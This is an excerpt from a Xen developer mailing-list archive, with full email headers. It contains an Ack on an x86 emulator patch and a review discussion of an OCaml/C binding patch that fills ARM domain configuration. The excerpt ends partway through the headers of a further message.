ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=yEXqqO8vhPhEjpE8W75lOyaV+9AiKjgorOW7cs1MXP1hPD8OrhHs6GtUCuNBBCJ0ym3tvv48zFObx027WqRi6kPP71AM8DU7UmgWspUn79kMI1zlhvD1FwLGdGt/bTakkwZYzSeoDztGSkVjxZbQrclXneyG/R5J/Ip0/my72OH14/2TaA/kvtssfM1Gqt2r0eVNwjkhmeEHu4sGvdEgY0kxq8fg0D8KSvMR6NhsYZqWhHthLQSSKnEO1wMUSo63kM/JxrrT/c6Gpr2/WyiGoY+VqCtCOgCiQcZN5S0nmmZPfXKmY6W6Uk4Yc+Zc3ZglAecQ9P9QR2V/dzh5W37Vwg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=9KtrfkdTp6oeZRD3LNUIPGHK9aVEoa27WEr5T1oamCg=;
 b=G3jib8IzDDMNib58djKlMptrXkXYGJ7dl3uTaPqeDxpgoE/pfPfZdA0zOXHFebbj1r+ALgrxfHZphlJwL6pn1UmPyVuaQu7EvP8rVU/HEiRaf0EurURFtoOl0Zi2tRDx+F0r5bfLrUsszaWOpBifKARPip8z5DXFTMACfjTDugDnrz9F6ef498qv8MicnjUSK1y3zXJWbfVvB8o37RvTSR+lOUX/T3XCenw80oQ7gEMRtINvbrYkGZHwBUlQ+014pzXgUBUVmqYw3MsIcnR4nbeqjm7mNBnVFrfzVfCtgs+QaRbCHh54n5mE7siHhFrI5Q9/YPVq7jb2tqfv/IVe2Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=9KtrfkdTp6oeZRD3LNUIPGHK9aVEoa27WEr5T1oamCg=;
 b=u5xKwjpENViRlhmdwhEtcNRLZRxX4C7sbhZwoyECJGeb+4udWe9SY6nCZ9msWhWc3Clq3erTksNV3jf1itcnpVz1ArTrThNIGpTdU5pV6ayj2E4K2Zkw1EIhxc6rzVWkvEVMDgE+NWOz03qr7PfyblJUwRXhNcAgRM3OMTkErLs=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <64ceb6ac-e7ff-47a4-9ec7-a48c9f476445@citrix.com>
Date: Thu, 30 Jul 2026 10:37:10 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
Subject: Re: [PATCH] x86emul: spilt vex_np from vex_none
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <32b8a5a6-a34a-4e4b-922b-b5daa41c6e56@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BE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DcQwpk06Af/N7VZtSfEJeRV04unbsKVXWZAk
 uAJyDDKN99ziC0Wz5kcPyVD1HNf8bgaqGDzrv3TfYjwqayRFcMf7xJaL9xXedMcAEQEAAcLB
 XwQYAQgACQUCUuE2fwIbDAAKCRBlw/kGpdefoG4XEACD1Qf/er8EA7g23HMxYWd3FXHThrVQ
 HgiGdk5Yh632vjOm9L4sd/GCEACVQKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <32b8a5a6-a34a-4e4b-922b-b5daa41c6e56@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P265CA0146.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:2c4::18) To CH8PR03MB8275.namprd03.prod.outlook.com
 (2603:10b6:610:2b9::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8275:EE_|BL4PR03MB8049:EE_
X-MS-Office365-Filtering-Correlation-Id: 185c86ea-6f61-4a57-bb2a-08deee1e22ae
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|1800799024|366016|56012099006|11063799006|10067099003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	aKjOLbxSlgQ6ZgRD2E3XrSiczr+k9zy9HwlYBONzHF3uz22o/Dxl8ZTgldCPXeQy37HaN+lB0UD54kRWJGNnUScFkMwaixUYaRQ5ZVY4lUDUEdJl9/U4hsuAouGsUICSF1XAgGL2az21cljwEd2+Tkxep7DF8ybJSTl4Gw1wMVnZvKNnP42S0vVszOG75I2K+cBl37gEicAjUqHK9ZVnVJLJMkfs3XVpECzUS78L/AhpB+kOPeIxoo7eYBsrgE48AgBUbHhHx329+3FesDTDC264Wk1S+y9rQ2ickhSq+H06zAJihHnonmRyd1J0hS2ip65ksrm/MJ9PSHf5RkfqTQqQQHdzGACu4DyjwmEbSf6e9rDyb4PAEYjreop+zvF+c9mCiniVzfTd2GH1t8FT0H6KRJK+TkWEKMGOpCSIV8fS+M2EVTwkd40bR7Jnlkb1BGDyshbxKU8eWOMSbaLZv6W51d3sJFzwFsDo2JUzazSfapbkJB7FHwnizbS548SizbpELrbcMni3fXCSr1Sq2tYL7NkgkcQ3D4uyKZN1k15yY+S4zzs04W/aNFgtS9Kk7fit7jPJQ9ydD5EHfTy+Ci8U5sDTdWUMr5/iPhQ8eB6Fgp00L0kKpulZFbpvJ31Vy1suv2D4HMjbfH8UQkq292Zeb3W9KVRFNQc+oLaEvHk=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8275.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(366016)(56012099006)(11063799006)(10067099003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?MkdRNVJCWFIxTXlkdE55M3dTR2E2Vktnak8vakhMNzhaQ2F4WTNKN0d5dzJ0?=
 =?utf-8?B?TVhYUFJaR0hCMzVHQmcxdEJVbGQ4MTZ4TjVZd1RRSGF5ZEpRV2lBRW9XVkNW?=
 =?utf-8?B?Mnk5RUNSV09PVm84MVRZUFkyaktzSHBZemNJWjBwMTRXTnNyUzBGNVQ4cFdV?=
 =?utf-8?B?em5JT1JZTTFELzhPS0UxbnpORHBJbVRUOUYxOU13VVZpR2NrbXZLWE9LOERj?=
 =?utf-8?B?ZGU3bVBFR25vQ1dVZXFTUmk4L2lZeE5LNmk5LzBaVHVxQnlHVG5ZT1pOSVJs?=
 =?utf-8?B?SVRqTmFLRm5vRml5ZVl3UFVHenBjRDNCd2o4U0l3cExXZVlZdENFZXc1SURD?=
 =?utf-8?B?bkJWQlZJcGlUZDVBVm1maEZzRUVhaTNsbXB6SDFXNWVqMFBFRFNEcnN0LzJK?=
 =?utf-8?B?WTFqWnVNWjNFSHZrVzVSV1RHYUhSTGJIaGZsV2VaaUVMSks1MTZROGp0TFNU?=
 =?utf-8?B?MmtGR1I4VmVCR1JKbFJzLzRVelAwWHJIcTRJNUI1SjhMY0xpUFJlcExvVmxQ?=
 =?utf-8?B?K1A3R0l1cU1ybFRwUUdZRXF0TVdWMVZSRFhpUkdPVjFiZWk2amdDNFZjdnZl?=
 =?utf-8?B?ekg2SjNIZkhXZ1g0eW1Ec1hiZGlCWWdzNEZ1MzVZSEFSZEh4MU1sRXdHNWNz?=
 =?utf-8?B?OE8wM3lnOTJBN042MUdpcWJyS3B1elA5dnpUUXJRK2FLK29yaEZlSmY5Y0tp?=
 =?utf-8?B?aFFhWXpUV3pxcGdhYzNUTDZhbUxjM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B?aWE0Wm1yUW9Lank5OURMbkRwVm5ReS9lZ0tlQk9ZSXBqL29lNlVQckpHSE9X?=
 =?utf-8?B?L2I3dXhvREdYUHAzZkIxcTNsenB0aFM3MDJlaCsrMmdsaFZSYXNCN3ZSb01U?=
 =?utf-8?B?WURPMDJOZzhiTEVTK3RNbGZnNHJuUFNGYnNaVzhLL21nbjZYSDlZUjhNQ1kr?=
 =?utf-8?B?bEl3aFJRMmpnOGRMaTVjSU5laFIxa3VpelUxYVZ5cUNFKzNEaW1Cb2licEZB?=
 =?utf-8?B?UU9VZFlsVDgwdk15d3NIYmc3STFQbzJYMmp5bmV3RmtVa3lkOVRwU1VxMkth?=
 =?utf-8?B?TGJza3NxWnc2alA5dk1hY1NJdGZmQzBsWjh3amdqbTNSdVViYXR0amtvdUlS?=
 =?utf-8?B?ZHI0czg3aE51ekNEb3RCdW1Pc1JPVmo2NUJjUDNUaUh5S1kzS1JrZ2NNRG1S?=
 =?utf-8?B?QnN2Rm9vMXF5SmwwUDZ1RlNscktncGxKRGwydTh1VGxIWXdGU01GdytDb2FH?=
 =?utf-8?B?T3dibk5VYXpuTWVxOWIyQ1VsVGxDNWVMbXh2ajJnV2tiV05zYUZQREFHSDN5?=
 =?utf-8?B?MHphU3R1Q2lsandnOXBBOEZ3S0lXR05UUzlDVUk0VGR1UWNLenJMK0ZZeHFQ?=
 =?utf-8?B?QjRJSHpFUzlTZFc2OUNVaHdmNnMraWpiWnI0Ri94SFA4ZkljUkdzWEtYd1Fw?=
 =?utf-8?B?eUlxbHkzTEE3QjAwMVhEbmhLZEN5Z0xyTU1YbkloNFg5UmdqRE1PV3NtK3RL?=
 =?utf-8?Q?/p7FIvRUf83didFg=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 185c86ea-6f61-4a57-bb2a-08deee1e22ae
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8275.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Jul 2026 09:37:13.2020
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: btsyhi65Y5SmFy+0LkTV6IAuFzCRwjM/lKBHZGs6xR80tcDBhlFc0/oYHiEDPrYkz+Q9BAsX1+XPjXH2ugZOV9HWKRMbcafJSF57hXbQPLY=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BL4PR03MB8049
X-purgate-ID: tlsNG-ebf023/1785404236-585C7B50-2F2D5D3F/0/0
X-purgate-type: clean
X-purgate-size: 268

On 30/07/2026 9:48 am, Jan Beulich wrote:
> ..., undoing the aliasing between two distinct enums, and more in line
> with how the SDM nowadays names things.
>
> Signed-off-by: Jan Beulich <jbeulich@suse.com>

Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 09:57:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 09:57:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377403.1623475 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpNWF-0004Hs-Hz; Thu, 30 Jul 2026 09:57:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377403.1623475; Thu, 30 Jul 2026 09:57:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpNWF-0004Hl-F3; Thu, 30 Jul 2026 09:57:39 +0000
Received: by outflank-mailman (input) for mailman id 1377403;
 Thu, 30 Jul 2026 09:57:38 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wpNWE-0004HP-CT
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 09:57:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpNWD-00H5P7-Pa
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 11:57:37 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb2753d7d000e099@swg.vates.tech>)
 id 6a6b2008-bab6-0a2a0a5309dd-0a2a4506edf6-20
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 11:57:37 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb2753d7d000e099@swg.vates.tech>)
 id 6a6b2011-195a-0a2a45060019-b9ff1c229add-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 11:57:37 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fb2753d7d000e099.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 30 Jul 2026 09:57:35 +0000
Received: from [192.168.0.38]
 (ipservice-092-208-102-202.092.208.pools.vodafone-ip.de [92.208.102.202])
 (Authenticated sender: julian.vetter)
 by mail2.vates.fr (Postfix) with ESMTPSA id E03EB80C5A;
 Thu, 30 Jul 2026 11:57:34 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=jSmaPJ9GcjKc6f6V+1Fcid+mSn7qr37sr4rr76JwcTM=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=FeHu/14EmyYgjX1pQ4st5WjmimkE+UbOVCAQu9dpSq6jfAxu7VBv0s3l4DJvXKxYP1eNq/p49
 0Dm9A4oF9V/toIjPJtn4BJ7kws5hqU+McGPdLxGbWH36DfbG/5q2kkE5fPGB4vCswP1XWfImyS7
 TxHqVyh8Rx8/pAXQXXtw0KtLanV/Fkg1JSGewj3+WBLwJSDt3FT5A0YCR96HhdLigZnRKHYA9GO
 MJmmBPTDU+58fIcv2XYtP5XYM02gsEnDPDXGgF4x+gDjq8Z23cjhjnmfHAqiSOlZXsI2Ko2j7Xq
 WINTMQYexvOawgwyf4uw9WJh4EufiWl1Q8kzBqD84F/Q==
X-Zone-Loop: 78397653c0ab4927f94d7fe70b3b794304ea02fa8c67
x-campaign-type: default
x-transaction-id: 5ac5cc55-0c35-411c-99ed-33991f7e2abf
x-swg-uid: 01-e099b33a-27fa-416f-b143-af5084ffde98
X-Mailer: Sweego
Message-ID:
 <1785405455.8631fc262581453bbf619ec5b2062170.19fb2753d7d000e099@vates.tech>
x-swg-bid: 1785405455.8631fc262581453bbf619ec5b2062170.19fb2753d7d000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Thu, 30 Jul 2026 11:57:34 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/2] tools/ocaml: Fill arch_config for ARM in
 domain_getinfo{,list}()
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <20260728154830.67734-1-andrew.cooper3@citrix.com>
 <20260728154830.67734-3-andrew.cooper3@citrix.com>
 <1785400990.8631fc262581453bbf619ec5b2062170.19fb2311930000e099@vates.tech>
 <dadee869-5ab8-48c3-8eb7-3b760eb6e12a@citrix.com>
Content-Language: en-US
From: Julian Vetter <julian.vetter@vates.tech>
In-Reply-To: <dadee869-5ab8-48c3-8eb7-3b760eb6e12a@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.1739.ea49de7e1093a1ac.19fb2753b03.1ca6ff1d6c76837d=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785405455108
X-purgate-ID: tlsNG-16d1c6/1785405457-F687577B-2BA319E6/10/73395122804
X-purgate-type: spam
X-purgate-size: 4828

---=Part.1739.ea49de7e1093a1ac.19fb2753b03.1ca6ff1d6c76837d=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On 7/30/26 11:38, Andrew Cooper wrote:
> On 30/07/2026 9:43 am, Julian Vetter wrote:
>>
>> On 7/28/26 17:48, Andrew Cooper wrote:
>>> From: Julian Vetter <julian=2Evetter@vates=2Etech>
>>>
>>> Add the missing ARM logic, populating xen_arm_arch_domainconfig
>>> from the raw xc_domaininfo_t the same way the x86 branch does for
>>> xen_x86_arch_domainconfig=2E
>>>
>>> Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
>>> Signed-off-by: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>
>>> ---
>>> CC: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>
>>> CC: Andrii Sultanov <andriy=2Esultanov@vates=2Etech>
>>> CC: Guillaume Thouvenin <guillaume=2Ethouvenin@vates=2Etech>
>>> CC: Julian Vetter <julian=2Evetter@vates=2Etech>
>>> CC: Oleksii Kurochko <oleksii=2Ekurochko@gmail=2Ecom>
>>> ---
>>>    tools/ocaml/libs/xc/xenctrl_stubs=2Ec | 16 ++++++++++++++--
>>>    1 file changed, 14 insertions(+), 2 deletions(-)
>>>
>>> diff --git a/tools/ocaml/libs/xc/xenctrl_stubs=2Ec b/tools/ocaml/libs/=
xc/xenctrl_stubs=2Ec
>>> index 441e1d83cfec=2E=2Efb983709066f 100644
>>> --- a/tools/ocaml/libs/xc/xenctrl_stubs=2Ec
>>> +++ b/tools/ocaml/libs/xc/xenctrl_stubs=2Ec
>>> @@ -444,9 +444,21 @@ static value alloc_domaininfo(xc_domaininfo_t * i=
nfo)
>>>   =20
>>>    	Store_field(result, 15, tmp);
>>>   =20
>>> -#if defined(__i386__) || defined(__x86_64__)
>>> +#if defined(__arm__) || defined(__aarch64__)
>>>   =20
>>> -	tag =3D 1; /* tag x86 */
>>> +	tag =3D 0; /* tag ARM */
>>> +
>>> +        /* xen_arm_arch_domainconfig */
>>> +        arch_config =3D caml_alloc_tuple(3);
>>> +        Field(arch_config, 0) =3D Val_int(info->arch_config=2Egic_ver=
sion);
>>> +        Field(arch_config, 1) =3D Val_int(info->arch_config=2Enr_spis=
);
>>> +
>>> +	tmp =3D caml_copy_int32(info->arch_config=2Eclock_frequency);
>>> +        Field(arch_config, 2) =3D tmp;
>> Shouldn't the Field() be a `Store_field(arch_config, 2, tmp);`, because
>> the `caml_copy_int32` makes an allocation on the minor heap to allow
>> OCAML's GC to keep track of this pointer if ever the arch_config is
>> promoted?
>=20
> No (ish)=2E=C2=A0 The Ocaml/C manual is subtly wrong in it's advice abou=
t this=2E
>=20
> Using Store_field() would be safe, but it has an obscene overhead for a
> scalar store, and caml_modify() does a whole bunch of barriers/atomics
> which are not necessary on anything which isn't allocated from
> caml_alloc_shr() (which we don't use at all)=2E
>=20
> The buggy construct is:
>=20
>  =C2=A0 =C2=A0 Field(foo, bar) =3D caml_{copy,alloc,etc}(baz);
>=20
> because C does not provide an ordering between evaluation of the Rvalue
> vs the Lvalue=2E=C2=A0 Specifically, if the Lvalue were evaluated prior =
to the
> function call, then indeed we could store into a stale pointer=2E
>=20
> But, using tmp in the way we do:
>=20
>  =C2=A0 =C2=A0 tmp =3D caml_copy_*(baz);
>  =C2=A0 =C2=A0 Field(foo, bar) =3D tmp;
>=20
> puts a sequence point after calling caml_copy_*(), and prior to
> evaluating Field(), so guarantees to do them in the correct order=2E
>=20

Aha, thank you for the clarification=2E Indeed the Ocaml/C manual=20
suggested that this might be triggered by any caml_copy_* and not just a=
=20
caml_alloc_shr()=2E

I've tested this series (both patches applied together) on real Ampere=20
ARM64 hardware (XCP-ng 9=2E0'ish, based on Xen 4=2E21=2E1)=2E The crash in=
=20
Xenctrl=2Edomain_getinfo{,list} on ARM is gone, and VMs create and boot=20
correctly=2E So,

Patch 1 ("tools/ocaml: Fix crash in Xenctrl=2Edomain_getinfo{,list} on ARM=
"):
Reviewed-by: Julian Vetter <julian=2Evetter@vates=2Etech>
Tested-by: Julian Vetter <julian=2Evetter@vates=2Etech>

Patch 2 ("tools/ocaml: Fill arch_config for ARM in=20
domain_getinfo{,list}()"):
Tested-by: Julian Vetter <julian=2Evetter@vates=2Etech>


> In the Store_field() macro, this occurs by taking (val) into a local
> variable, and not because of how it calls caml_modify()=2E
>=20
>=20
> In a perfect world we'd have a Store_field() that arranged for the
> intermediate safety without calling caml_modify()=2E
>=20
> It is also telling that the Ocaml runtime has a total of 15 uses of
> Store_field, and we've got more than that in this function alone, let
> alone the rest of our bindings=2E
>=20
> I do have a cleanup patch for those as well, once we got this bug sorted=
=2E
>=20
> ~Andrew
>=20



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.1739.ea49de7e1093a1ac.19fb2753b03.1ca6ff1d6c76837d=---


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 10:09:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 10:09:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377415.1623483 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpNhP-0006Zj-FY; Thu, 30 Jul 2026 10:09:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377415.1623483; Thu, 30 Jul 2026 10:09:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpNhP-0006Zc-Cz; Thu, 30 Jul 2026 10:09:11 +0000
Received: by outflank-mailman (input) for mailman id 1377415;
 Thu, 30 Jul 2026 10:09:09 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <agordeev@linux.ibm.com>) id 1wpNhN-0006ZT-HO
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 10:09:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpNhM-00D9U6-U5
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 12:09:08 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <agordeev@linux.ibm.com>)
 id 6a6b22c1-2eae-0a2a0a5409dd-0a2a450ac8fa-14
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 12:09:08 +0200
Received: from [148.163.158.5] (helo=mx0b-001b2d01.pphosted.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <agordeev@linux.ibm.com>)
 id 6a6b22c3-f2d2-0a2a450a0019-94a39e052c2e-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 12:09:08 +0200
Received: from pps.filterd (m0360072.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66U6m2hU2316588; Thu, 30 Jul 2026 10:08:26 GMT
Received: from ppma21.wdc07v.mail.ibm.com
 (5b.69.3da9.ip4.static.sl-reverse.com [169.61.105.91])
 by mx0a-001b2d01.pphosted.com (PPS) with ESMTPS id 4fmuwd6a7b-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT);
 Thu, 30 Jul 2026 10:08:25 +0000 (GMT)
Received: from pps.filterd (ppma21.wdc07v.mail.ibm.com [127.0.0.1])
 by ppma21.wdc07v.mail.ibm.com (8.18.1.7/8.18.1.7) with ESMTP id 66U9fHHZ004184;
 Thu, 30 Jul 2026 10:08:25 GMT
Received: from smtprelay03.fra02v.mail.ibm.com ([9.218.2.224])
 by ppma21.wdc07v.mail.ibm.com (PPS) with ESMTPS id 4fn8fkatpu-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT);
 Thu, 30 Jul 2026 10:08:24 +0000 (GMT)
Received: from smtpav03.fra02v.mail.ibm.com (smtpav03.fra02v.mail.ibm.com
 [10.20.54.102])
 by smtprelay03.fra02v.mail.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 66UA8Mar34079042
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 30 Jul 2026 10:08:22 GMT
Received: from smtpav03.fra02v.mail.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 8C9E62004F;
 Thu, 30 Jul 2026 10:08:22 +0000 (GMT)
Received: from smtpav03.fra02v.mail.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id C8DEC20040;
 Thu, 30 Jul 2026 10:08:21 +0000 (GMT)
Received: from li-008a6a4c-3549-11b2-a85c-c5cc2836eea2.ibm.com (unknown
 [9.224.92.206])
 by smtpav03.fra02v.mail.ibm.com (Postfix) with ESMTPS;
 Thu, 30 Jul 2026 10:08:21 +0000 (GMT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=pp1 header.d=ibm.com header.i="@ibm.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ibm.com; h=cc
	:content-type:date:from:in-reply-to:message-id:mime-version
